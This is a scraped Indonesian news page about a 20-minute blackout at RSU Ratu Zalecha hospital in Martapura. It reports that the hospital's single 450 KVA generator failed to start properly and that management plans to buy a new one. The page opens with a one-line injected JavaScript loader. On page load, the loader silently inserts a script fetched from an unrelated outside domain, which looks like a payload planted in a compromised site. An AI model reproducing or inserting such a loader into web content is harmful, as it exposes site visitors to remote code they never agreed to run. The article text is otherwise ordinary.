(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Genset Kurang Daya, RS Raza Sempat Gelap-Gelapan Selama 20 menit


MARTAPURA, Selama 20 menit pasien di Rumah Sakit Ratu Zalecha Martapura mengalami pemadaman listrik. Gara-garanya, genset yang seharusnya menyala otomatis dikala listrik yang bersumber dari PLN padam, tidak bekerja secara optimal.

Pemadaman listrik yang terjadi dari PLN Rayon Martapura terjadi pada Kamis (13/6) malam. Peristiwa ini sempat viral dan diabadikan oleh masyarakat dengan suasana yang sangat gelap gulita. Normalnya, genset menyala otomatis kurang lebih 10 detik setelah listik padam.

Akibat genset yang tidak berfungsi secara maksimal tersebut seluruh pasien diruang layanan umum harus mengalami suasana gelap dan tidak bisa berbuat apapun karena seluruh lampu mengalami pemadaman, kecuali d ruangan ICU/Parterier karena sudah di backup dengan alat UPS.

Menanggapi padamnya listrik akibat genset yang tidak bekerja dengan maksimal, Dirut RSU Ratu Zalecha Martapura Dr Taufiq Norman Hidayat membenarkan hal tersebut. “Genset tidak bekerja dengan maksimal, dan bekerja secara manual maka harusnya memerlukan waktu 10 detik untuk menyala,”katanya.

Sementara itu Kepala Instalasi PSRS RSU Ratu Zalecha mengatakan ada kerusakan pada panel speed sehingga mesin lambat menyala. “Kebutuhan di rumah sakit 550 kilobit ampere, sedangkan mesin genset hanya 450 KVS, selain itu ada kerusakan pada panel sehingga mesin genset tidak bekerja secara maksimal,” katanya.

Disaat menajamen Rumah Sakit di Banua sudah menyediakan 2 mesin genset guna mengantisipasi kerusakan mesin genset, namun Rumah Sakit Ratu Zaleha Martapura sejak tahun 2007 lalu hanya memiliki satu mesin genset saja.

Selama 12 tahun beroperasi, RS Raza hanya bergantung pada satu mesin genset tanpa ada mesin cadangan. Parahnya lagi, genset tersebut dalam kondisi kurang daya. Penambahan fasilitas ruang VIP dan ruang penyakit jantung serta beberapa fasilitas lainnya dengan daya maksimal 550 KVA, sudah tidak seimbang dengan daya mesin genshet 450 KVA yang ada saat ini.

Dr Tofiq menegaskan, tahun 2019 telah merencanakan pembelian mesin genset baru dengan daya satu megavolt ampere. “Kita tahun ini merencanakan pembelian mesin genset baru,” ujarnya.(rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

58 menit ago

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

1 jam ago

Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More

3 jam ago

RSD Idaman Raih Peringkat 1 Eco-Office Award 2024

KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More

6 jam ago

Kadishub Balangan Cek Lapangan Pemasangan PJU

KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More

7 jam ago

Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More

7 jam ago

This website uses cookies.